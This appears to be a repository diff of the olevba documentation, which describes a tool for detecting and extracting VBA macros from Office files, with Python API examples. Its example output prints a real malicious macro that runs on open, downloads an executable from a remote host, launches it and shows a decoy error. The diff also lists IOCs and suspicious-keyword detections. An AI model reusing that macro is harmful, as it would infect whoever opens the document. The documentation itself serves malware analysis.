| 103 | +| IOC | http://germanya.com. | URL | | |
| 104 | +| | ec/logs/test.exe" | | | |
| 105 | +| IOC | http://germanya.com. | URL | | |
| 106 | +| | ec/logs/counter.php" | | | |
| 107 | +| IOC | germanya.com | Executable file name | | |
| 108 | +| IOC | test.exe | Executable file name | | |
| 109 | +| IOC | sfjozjero.exe | Executable file name | | |
| 110 | ++------------+----------------------+-----------------------------------------+</code></pre> | |
| 66 | 111 | <h2 id="how-to-use-olevba-in-python-applications">How to use olevba in Python applications</h2> |
| 67 | -<p>TODO</p> | |
| 112 | +<p>olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code from your own python applications.</p> | |
| 113 | +<h3 id="import-olevba">Import olevba</h3> | |
| 114 | +<p>First, import the <strong>oletools.olevba</strong> package, using at least the VBA_Parser class:</p> | |
| 115 | +<pre><code>from oletools.olevba import VBA_Parser</code></pre> | |
| 116 | +<h3 id="parse-a-ms-office-file">Parse a MS Office file</h3> | |
| 117 | +<p>Create an instance of the <strong>VBA_Parser</strong> class, providing the name of the file to open as parameter. The file may also be provided as a bytes string containing its data, or a file-like object. In that case, the actual filename may be provided as a second parameter, if available.</p> | |
| 118 | +<pre><code>vba = VBA_Parser('my_file_with_macros.doc')</code></pre> | |
| 119 | +<p>VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML (MS Office 2007+).</p> | |
| 120 | +<h3 id="detect-vba-macros">Detect VBA macros</h3> | |
| 121 | +<p>The method <strong>detect_vba_macros</strong> returns True if VBA macros have been found in the file, False otherwise.</p> | |
| 122 | +<pre><code>if vba.detect_vba_macros(): | |
| 123 | + print 'VBA Macros found' | |
| 124 | +else: | |
| 125 | + print 'No VBA Macros found'</code></pre> | |
| 126 | +<p>Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will always return False because VBA Macros are stored in a different way.</p> | |
| 127 | +<p>Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method may return True if the embedded document contains VBA Macros, even if the main document does not.</p> | |
| 128 | +<h3 id="extract-vba-macro-source-code">Extract VBA Macro Source Code</h3> | |
| 129 | +<p>The method <strong>extract_macros</strong> extracts and decompresses source code for each VBA macro found in the file (possibly including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) for each VBA macro found.</p> | |
| 130 | +<ul> | |
| 131 | +<li>filename: If the file is OLE (MS Office 97-2003), filename is the path of the file. If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive, e.g. word/vbaProject.bin.</li> | |
| 132 | +<li>stream_path: path of the OLE stream containing the VBA macro source code</li> | |
| 133 | +<li>vba_filename: corresponding VBA filename</li> | |
| 134 | +<li>vba_code: string containing the VBA source code in clear text</li> | |
| 135 | +</ul> | |
| 136 | +<p>Example:</p> | |
| 137 | +<pre><code>for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros(): | |
| 138 | + print '-'*79 | |
| 139 | + print 'Filename :', filename | |
| 140 | + print 'OLE stream :', stream_path | |
| 141 | + print 'VBA filename:', vba_filename | |
| 142 | + print '- '*39 | |
| 143 | + print vba_code</code></pre> | |
| 144 | +<h3 id="detect-auto-executable-macros">Detect auto-executable macros</h3> | |
| 145 | +<p>The function <strong>detect_autoexec</strong> checks if VBA macro code contains specific macro names that will be triggered when the document/workbook is opened, closed, changed, etc.</p> | |
| 146 | +<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the trigger. (See the malware example above)</p> | |
| 147 | +<p>Sample usage:</p> | |
| 148 | +<pre><code>from oletools.olevba import detect_autoexec | |
| 149 | +autoexec_keywords = detect_autoexec(vba_code) | |
| 150 | +if autoexec_keywords: | |
| 151 | + print 'Auto-executable macro keywords found:' | |
| 152 | + for keyword, description in autoexec_keywords: | |
| 153 | + print '%s: %s' % (keyword, description) | |
| 154 | +else: | |
| 155 | + print 'Auto-executable macro keywords: None found'</code></pre> | |
| 156 | +<h3 id="detect-suspicious-vba-keywords">Detect suspicious VBA keywords</h3> | |
| 157 | +<p>The function <strong>detect_suspicious</strong> checks if VBA macro code contains specific keywords often used by malware to act on the system (create files, run commands or applications, write to the registry, etc).</p> | |
| 158 | +<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the corresponding malicious behaviour. (See the malware example above)</p> | |
| 159 | +<p>Sample usage:</p> | |
| 160 | +<pre><code>from oletools.olevba import detect_suspicious | |
| 161 | +suspicious_keywords = detect_suspicious(vba_code) | |
| 162 | +if suspicious_keywords: | |
| 163 | + print 'Suspicious VBA keywords found:' | |
| 164 | + for keyword, description in suspicious_keywords: | |
| 165 | + print '%s: %s' % (keyword, description) | |
| 166 | +else: | |
| 167 | + print 'Suspicious VBA keywords: None found'</code></pre> | |
| 168 | +<h3 id="extract-potential-iocs">Extract potential IOCs</h3> | |
| 169 | +<p>The function <strong>detect_patterns</strong> checks if VBA macro code contains specific patterns of interest, that may be useful for malware analysis and detection (potential Indicators of Compromise): IP addresses, e-mail addresses, URLs, executable file names.</p> | |
| 170 | +<p>It returns a list of tuples containing two strings, the pattern type, and the extracted value. (See the malware example above)</p> | |
| 171 | +<p>Sample usage:</p> | |
| 172 | +<pre><code>from oletools.olevba import detect_patterns | |
| 173 | +patterns = detect_patterns(vba_code) | |
| 174 | +if patterns: | |
| 175 | + print 'Patterns found:' | |
| 176 | + for pattern_type, value in patterns: | |
| 177 | + print '%s: %s' % (pattern_type, value) | |
| 178 | +else: | |
| 179 | + print 'Patterns: None found'</code></pre> | |
| 180 | +<h3 id="close-the-vba_parser">Close the VBA_Parser</h3> | |
| 181 | +<p>After usage, it is better to call the <strong>close</strong> method of the VBA_Parser object, to make sure the file is closed, especially if your application is parsing many files.</p> | |
| 182 | +<pre><code>vba.close()</code></pre> | |
| 68 | 183 | <hr /> |
| 69 | 184 | <h2 id="python-oletools-documentation">python-oletools documentation</h2> |
| 70 | 185 | <ul> | ... | ... |
oletools/doc/olevba.md
| ... | ... | @@ -2,74 +2,266 @@ olevba |
| 2 | 2 | ====== |
| 3 | 3 | |
| 4 | 4 | olevba is a script to parse OLE and OpenXML files such as MS Office documents |
| 5 | -(e.g. Word, Excel), to extract VBA Macro code in clear text. | |
| 5 | +(e.g. Word, Excel), to **detect VBA Macros**, extract their **source code** in clear text, | |
| 6 | +and detect security-related patterns such as **auto-executable macros**, **suspicious | |
| 7 | +VBA keywords** used by malware, and potential **IOCs** (IP addresses, URLs, executable | |
| 8 | +filenames, etc). | |
| 9 | + | |
| 10 | +It can be used either as a command-line tool, or as a python module from your own applications. | |
| 6 | 11 | |
| 7 | 12 | It is part of the [python-oletools](http://www.decalage.info/python/oletools) package. |
| 8 | 13 | |
| 9 | -Supported formats: | |
| 14 | +olevba is based on source code from [officeparser](https://github.com/unixfreak0037/officeparser) | |
| 15 | +by John William Davison, with significant modifications. | |
| 16 | + | |
| 17 | +## Supported formats | |
| 10 | 18 | |
| 11 | 19 | - Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm) |
| 12 | 20 | - Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb) |
| 13 | 21 | - PowerPoint 2007+ (.pptm, .ppsm) |
| 14 | 22 | |
| 15 | -olevba is based on source code from [officeparser](https://github.com/unixfreak0037/officeparser) by John William Davison | |
| 23 | +## Main Features | |
| 24 | + | |
| 25 | +- Detect VBA macros in MS Office 97-2003 and 2007+ files | |
| 26 | +- Extract VBA macro source code | |
| 27 | +- Detect auto-executable macros | |
| 28 | +- Detect suspicious VBA keywords often used by malware | |
| 29 | +- Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names | |
| 30 | +- Scan multiple files and sample collections (wildcards, recursive) | |
| 31 | +- Scan malware samples in password-protected Zip archives | |
| 32 | +- Python API to use olevba from your applications | |
| 33 | + | |
| 34 | +MS Office files encrypted with a password are also supported, because VBA macro code is never | |
| 35 | +encrypted, only the content of the document. | |
| 36 | + | |
| 37 | +## About VBA Macros | |
| 38 | + | |
| 39 | +See [this article](http://www.decalage.info/en/vba_tools) for more information and technical details about VBA Macros | |
| 40 | +and how they are stored in MS Office documents. | |
| 16 | 41 | |
| 17 | 42 | ## Usage |
| 18 | 43 | |
| 19 | 44 | :::text |
| 20 | - olevba.py <file> | |
| 21 | - | |
| 45 | + Usage: olevba.py [options] <filename> [filename2 ...] | |
| 46 | + | |
| 47 | + Options: | |
| 48 | + -h, --help show this help message and exit | |
| 49 | + -r find files recursively in subdirectories. | |
| 50 | + -z ZIP_PASSWORD, --zip=ZIP_PASSWORD | |
| 51 | + if the file is a zip archive, open first file from it, | |
| 52 | + using the provided password (requires Python 2.6+) | |
| 53 | + -f ZIP_FNAME, --zipfname=ZIP_FNAME | |
| 54 | + if the file is a zip archive, file(s) to be opened | |
| 55 | + within the zip. Wildcards * and ? are supported. | |
| 56 | + (default:*) | |
| 57 | + | |
| 22 | 58 | ### Example |
| 23 | 59 | |
| 24 | 60 | Checking the malware sample [DIAN_caso-5415.doc](https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/): |
| 25 | 61 | |
| 26 | 62 | :::text |
| 27 | - >olevba.py DIAN_caso-5415.doc | |
| 28 | - | |
| 29 | - INFO: Extracting VBA Macros from OLE file DIAN_caso-5415.doc | |
| 30 | - | |
| 31 | - ------------------------------------------------------------------------------- | |
| 32 | - ThisDocument.cls | |
| 33 | - | |
| 34 | - Attribute VB_Name = "ThisDocument" | |
| 35 | - Attribute VB_Base = "1Normal.ThisDocument" | |
| 36 | - Attribute VB_GlobalNameSpace = False | |
| 37 | - Attribute VB_Creatable = False | |
| 38 | - Attribute VB_PredeclaredId = True | |
| 39 | - Attribute VB_Exposed = True | |
| 40 | - Attribute VB_TemplateDerived = True | |
| 41 | - Attribute VB_Customizable = True | |
| 42 | - Option Explicit | |
| 43 | - Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long, _ | |
| 44 | - ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _ | |
| 45 | - ByVal HQTLDG As Long) As Long | |
| 46 | - Sub AutoOpen() | |
| 47 | - Auto_Open | |
| 48 | - End Sub | |
| 49 | - Sub Auto_Open() | |
| 50 | - SNVJYQ | |
| 51 | - End Sub | |
| 52 | - Public Sub SNVJYQ() | |
| 53 | - OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe" | |
| 54 | - End Sub | |
| 55 | - Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean | |
| 56 | - Dim HRKUYU, lala As Long | |
| 57 | - HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0) | |
| 58 | - If HRKUYU = 0 Then OGEXYR = True | |
| 59 | - Dim YKPZZS | |
| 60 | - YKPZZS = Shell(PHHWIV, 1) | |
| 61 | - MsgBox "El contenido de este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible" | |
| 62 | - lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Environ("TMP") & "\lkjljlljk", 0, 0) | |
| 63 | - Application.DisplayAlerts = False | |
| 64 | - Application.Quit | |
| 65 | - End Function | |
| 66 | - Sub Workbook_Open() | |
| 67 | - Auto_Open | |
| 68 | - End Sub | |
| 63 | + >olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected | |
| 64 | + =============================================================================== | |
| 65 | + FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip | |
| 66 | + Type: OLE | |
| 67 | + ------------------------------------------------------------------------------- | |
| 68 | + VBA MACRO ThisDocument.cls | |
| 69 | + in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument | |
| 70 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
| 71 | + Option Explicit | |
| 72 | + Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,_ | |
| 73 | + ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _ | |
| 74 | + ByVal HQTLDG As Long) As Long | |
| 75 | + Sub AutoOpen() | |
| 76 | + Auto_Open | |
| 77 | + End Sub | |
| 78 | + Sub Auto_Open() | |
| 79 | + SNVJYQ | |
| 80 | + End Sub | |
| 81 | + Public Sub SNVJYQ() | |
| 82 | + OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero. | |
| 83 | + exe" | |
| 84 | + End Sub | |
| 85 | + Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean | |
| 86 | + Dim HRKUYU, lala As Long | |
| 87 | + HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0) | |
| 88 | + If HRKUYU = 0 Then OGEXYR = True | |
| 89 | + Dim YKPZZS | |
| 90 | + YKPZZS = Shell(PHHWIV, 1) | |
| 91 | + MsgBox "El contenido de este documento no es compatible con este equipo." & | |
| 92 | + vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no | |
| 93 | + compatible" | |
| 94 | + lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi | |
| 95 | + ron("TMP") & "\lkjljlljk", 0, 0) | |
| 96 | + Application.DisplayAlerts = False | |
| 97 | + Application.Quit | |
| 98 | + End Function | |
| 99 | + Sub Workbook_Open() | |
| 100 | + Auto_Open | |
| 101 | + End Sub | |
| 102 | + | |
| 103 | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
| 104 | + ANALYSIS: | |
| 105 | + +------------+----------------------+-----------------------------------------+ | |
| 106 | + | Type | Keyword | Description | | |
| 107 | + +------------+----------------------+-----------------------------------------+ | |
| 108 | + | AutoExec | AutoOpen | Runs when the Word document is opened | | |
| 109 | + | AutoExec | Auto_Open | Runs when the Excel Workbook is opened | | |
| 110 | + | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened | | |
| 111 | + | Suspicious | Lib | May run code from a DLL | | |
| 112 | + | Suspicious | Shell | May run an executable file or a system | | |
| 113 | + | | | command | | |
| 114 | + | Suspicious | Environ | May read system environment variables | | |
| 115 | + | Suspicious | URLDownloadToFileA | May download files from the Internet | | |
| 116 | + | IOC | http://germanya.com. | URL | | |
| 117 | + | | ec/logs/test.exe" | | | |
| 118 | + | IOC | http://germanya.com. | URL | | |
| 119 | + | | ec/logs/counter.php" | | | |
| 120 | + | IOC | germanya.com | Executable file name | | |
| 121 | + | IOC | test.exe | Executable file name | | |
| 122 | + | IOC | sfjozjero.exe | Executable file name | | |
| 123 | + +------------+----------------------+-----------------------------------------+ | |
| 69 | 124 | |
| 70 | 125 | ## How to use olevba in Python applications |
| 71 | 126 | |
| 72 | -TODO | |
| 127 | +olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code | |
| 128 | +from your own python applications. | |
| 129 | + | |
| 130 | +### Import olevba | |
| 131 | + | |
| 132 | +First, import the **oletools.olevba** package, using at least the VBA_Parser class: | |
| 133 | + | |
| 134 | + :::python | |
| 135 | + from oletools.olevba import VBA_Parser | |
| 136 | + | |
| 137 | +### Parse a MS Office file | |
| 138 | + | |
| 139 | +Create an instance of the **VBA_Parser** class, providing the name of the file to open as parameter. | |
| 140 | +The file may also be provided as a bytes string containing its data, or a file-like object. In that case, the actual | |
| 141 | +filename may be provided as a second parameter, if available. | |
| 142 | + | |
| 143 | + :::python | |
| 144 | + vba = VBA_Parser('my_file_with_macros.doc') | |
| 145 | + | |
| 146 | +VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML | |
| 147 | +(MS Office 2007+). | |
| 148 | + | |
| 149 | +### Detect VBA macros | |
| 150 | + | |
| 151 | +The method **detect_vba_macros** returns True if VBA macros have been found in the file, False otherwise. | |
| 152 | + | |
| 153 | + :::python | |
| 154 | + if vba.detect_vba_macros(): | |
| 155 | + print 'VBA Macros found' | |
| 156 | + else: | |
| 157 | + print 'No VBA Macros found' | |
| 158 | + | |
| 159 | +Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine | |
| 160 | +for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will | |
| 161 | +always return False because VBA Macros are stored in a different way. | |
| 162 | + | |
| 163 | +Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method | |
| 164 | +may return True if the embedded document contains VBA Macros, even if the main document does not. | |
| 165 | + | |
| 166 | +### Extract VBA Macro Source Code | |
| 167 | + | |
| 168 | +The method **extract_macros** extracts and decompresses source code for each VBA macro found in the file (possibly | |
| 169 | +including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) | |
| 170 | +for each VBA macro found. | |
| 171 | + | |
| 172 | +- filename: If the file is OLE (MS Office 97-2003), filename is the path of the file. | |
| 173 | + If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive, | |
| 174 | + e.g. word/vbaProject.bin. | |
| 175 | +- stream_path: path of the OLE stream containing the VBA macro source code | |
| 176 | +- vba_filename: corresponding VBA filename | |
| 177 | +- vba_code: string containing the VBA source code in clear text | |
| 178 | + | |
| 179 | +Example: | |
| 180 | + | |
| 181 | + :::python | |
| 182 | + for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros(): | |
| 183 | + print '-'*79 | |
| 184 | + print 'Filename :', filename | |
| 185 | + print 'OLE stream :', stream_path | |
| 186 | + print 'VBA filename:', vba_filename | |
| 187 | + print '- '*39 | |
| 188 | + print vba_code | |
| 189 | + | |
| 190 | +### Detect auto-executable macros | |
| 191 | + | |
| 192 | +The function **detect_autoexec** checks if VBA macro code contains specific macro names | |
| 193 | +that will be triggered when the document/workbook is opened, closed, changed, etc. | |
| 194 | + | |
| 195 | +It returns a list of tuples containing two strings, the detected keyword, and the | |
| 196 | +description of the trigger. (See the malware example above) | |
| 197 | + | |
| 198 | +Sample usage: | |
| 199 | + | |
| 200 | + :::python | |
| 201 | + from oletools.olevba import detect_autoexec | |
| 202 | + autoexec_keywords = detect_autoexec(vba_code) | |
| 203 | + if autoexec_keywords: | |
| 204 | + print 'Auto-executable macro keywords found:' | |
| 205 | + for keyword, description in autoexec_keywords: | |
| 206 | + print '%s: %s' % (keyword, description) | |
| 207 | + else: | |
| 208 | + print 'Auto-executable macro keywords: None found' | |
| 209 | + | |
| 210 | + | |
| 211 | +### Detect suspicious VBA keywords | |
| 212 | + | |
| 213 | +The function **detect_suspicious** checks if VBA macro code contains specific | |
| 214 | +keywords often used by malware to act on the system (create files, run | |
| 215 | +commands or applications, write to the registry, etc). | |
| 216 | + | |
| 217 | +It returns a list of tuples containing two strings, the detected keyword, and the | |
| 218 | +description of the corresponding malicious behaviour. (See the malware example above) | |
| 219 | + | |
| 220 | +Sample usage: | |
| 221 | + | |
| 222 | + :::python | |
| 223 | + from oletools.olevba import detect_suspicious | |
| 224 | + suspicious_keywords = detect_suspicious(vba_code) | |
| 225 | + if suspicious_keywords: | |
| 226 | + print 'Suspicious VBA keywords found:' | |
| 227 | + for keyword, description in suspicious_keywords: | |
| 228 | + print '%s: %s' % (keyword, description) | |
| 229 | + else: | |
| 230 | + print 'Suspicious VBA keywords: None found' | |
| 231 | + | |
| 232 | + | |
| 233 | +### Extract potential IOCs | |
| 234 | + | |
| 235 | +The function **detect_patterns** checks if VBA macro code contains specific | |
| 236 | +patterns of interest, that may be useful for malware analysis and detection | |
| 237 | +(potential Indicators of Compromise): IP addresses, e-mail addresses, | |
| 238 | +URLs, executable file names. | |
| 239 | + | |
| 240 | +It returns a list of tuples containing two strings, the pattern type, and the | |
| 241 | +extracted value. (See the malware example above) | |
| 242 | + | |
| 243 | +Sample usage: | |
| 244 | + | |
| 245 | + :::python | |
| 246 | + from oletools.olevba import detect_patterns | |
| 247 | + patterns = detect_patterns(vba_code) | |
| 248 | + if patterns: | |
| 249 | + print 'Patterns found:' | |
| 250 | + for pattern_type, value in patterns: | |
| 251 | + print '%s: %s' % (pattern_type, value) | |
| 252 | + else: | |
| 253 | + print 'Patterns: None found' | |
| 254 | + | |
| 255 | + | |
| 256 | +### Close the VBA_Parser | |
| 257 | + | |
| 258 | +After usage, it is better to call the **close** method of the VBA_Parser object, to make sure the file is closed, | |
| 259 | +especially if your application is parsing many files. | |
| 260 | + | |
| 261 | + :::python | |
| 262 | + vba.close() | |
| 263 | + | |
| 264 | + | |
| 73 | 265 | |
| 74 | 266 | -------------------------------------------------------------------------- |
| 75 | 267 | ... | ... |